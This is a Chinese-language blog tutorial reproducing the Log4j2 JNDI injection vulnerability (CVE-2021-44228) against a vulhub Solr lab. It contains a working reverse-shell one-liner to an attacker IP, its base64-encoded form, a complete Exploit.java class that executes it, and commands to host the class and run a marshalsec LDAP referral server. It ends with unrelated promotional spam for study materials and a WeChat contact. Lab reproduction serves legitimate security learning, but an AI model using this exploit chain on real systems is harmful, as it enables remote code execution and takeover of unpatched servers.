画个简单点的漏洞利用示意图，如下：
尽可能画的详细一点，大概是下图。
攻击者构造payload，在JNDI接口lookup查询进行注入，payload为${jndi:ldap:恶意url/poc}，JNDI会去对应的服务（如LDAP、RMI、DNS、文件系统、目录服务…本例为ldap）查找资源，由于lookup的出栈没做限制，最终指向了攻击者部署好的恶意站点，下载了远程的恶意class，最终造成了远程代码执行rce。
靶场搭建
靶机：Ubuntu 192.168.200.129（无所谓是不是Ubuntu，随便找个地方用docker启动就行）
用vulhub靶场搭建，首先进入目录CVE-2021-44228中，docker启动命令：
docker-compose up –d
查看一下端口：
Docker-compose up -d
发现端口是8983，浏览器访问http://192.168.200.129:8983/
漏洞检测
用dnslog平台检测dns回显，看看有没有漏洞存在，网址为：DNSLog Platform
点击Get SubDomin获取一个子域名，我这里是3dto27.dnslog.cn
在/solr/admin/cores?有个参数可以传，这就是个注入点，我们试试能不能输出java版本，构造payload，访问的url如下：
注意别忘了将url中的ip改为靶机ip,注入部分中的3dto27.dns.log.cn改为你在Get SubDomin获取的子域名。如果存在log4j2漏洞，我们将在DNSLog平台看到回显。
返回刚才的DNSLog平台，点击刷新记录Refresh Record（可能比较慢，不要着急，可以多点几次Refresh Record），可以看到有数据：在DNS Query Record一栏下面出现了条目，回显了java版本1.8.0_102，说明存在log4j漏洞。
漏洞利用（获取反弹shell）
我第一次复现的时候，直接用了JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar或JNDIExploit-1.4-SNAPSHOT.jar，可以在github上搜一下（后文会介绍），但我写博客的时候考虑到用这种工具感觉像是一键复现漏洞，对漏洞利用的每个步骤好像并不是很明确，所以我们还是先不用这种方法，还是老老实实自己编写一下恶意代码，启动一下恶意的http服务站点和LDAP服务，完整的演示一下过程。
靶机：Ubuntu 192.168.200.129 （随便找个地方用docker搭一下就行）
攻击机： kali 192.168.200.131 （无所谓是不是kali，windows都行）
方法一：编写恶意文件
我们先编写以下的恶意文件Exploit.java，我们企图反弹shell到kali（ip为192.168.200.131）的7777端口，因此对应的bash命令为：
bash -i >& /dev/tcp/192.168.200.131/7777 0>&1
然后对上述命令进行base64编码，这里给出一个网站，可以直接进行payload的编码：Runtime.exec Payload Generater | AresX’s Blog (ares-x.com)")
编码结果为：
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
好的，有了编码结果，我们就可以编写恶意文件了，编写以下代码命名为Exploit.java。
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
然后我们把Exploit.java编译为Exploit.class，最好保证javac的版本为1.8。命令如下：
javac Exploit.java
我是在物理机中编译的，编译完成之后的.class文件立即被windows安全中心的病毒和威胁防护功能给干掉了，需要还原一下（手动狗头）。把编译好的Exploit.class放到攻击机kali的随便一个目录下：
并在此目录开启http服务，我这里把端口设置为了4444，命令如下：
python -m http.server 4444
然后浏览器访问攻击机ip:端口，我这里为192.168.200.131:4444 ，应该可以看到一个目录：
读者只要保证你的站点目录里有Exploit.class就行，至于我目录里有啥其他的读者不用在意。接下来，我们在攻击机启动LDAP服务。这里使用工具marshalsec-0.0.3-SNAPSHOT-all.jar来快速开启，这个工具在我的上一篇博客中有提到，详情见
(56条消息) Fastjson反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）_Bossfrank的博客-CSDN博客 Fastjson反序列化漏洞原理与漏洞复现（基于vulhub，保姆级的详细教程）_Bossfrank的博客-CSDN博客")
下载链接为marshalsec-0.0.3-SNAPSHOT-all.jar，下载完之后用mvn clean package -DskipTests生成.jar文件。在上一篇博客中，我们是用这个工具建立了RMI 服务，这次我们是要用这个工具建立LDAP服务。
好了，废话说完了，现在我们在攻击机marshalsec-0.0.3-SNAPSHOT-all.jar所在目录开启LDAP监听，命令中的1389为LDAP服务的端口，你也可以换成别的端口。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://刚才http服务的地址:端口号/#Exploit" 1389
本例中的命令为：
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.200.131:4444/#Exploit" 1389
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。
深知大多数Linux运维工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！
因此收集整理了一份《2024年Linux运维全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。
既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上Linux运维知识点，真正体系化！
由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新
如果你觉得这些内容对你有帮助，可以添加VX：vip1024b （备注Linux运维获取）
最后的话
最近很多小伙伴找我要Linux学习资料，于是我翻箱倒柜，整理了一些优质资源，涵盖视频、电子书、PPT等共享给大家！
资料预览
给大家整理的视频资料：
给大家整理的电子书资料：
如果本文对你有帮助，欢迎点赞、收藏、转发给朋友，让我有持续创作的动力！
一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
[外链图片转存中…(img-5udTBjoL-1712533128549)]
如果本文对你有帮助，欢迎点赞、收藏、转发给朋友，让我有持续创作的动力！
一个人可以走的很快，但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎扫码加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！
[外链图片转存中…(img-NnChmoN0-1712533128550)]
扫一扫
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
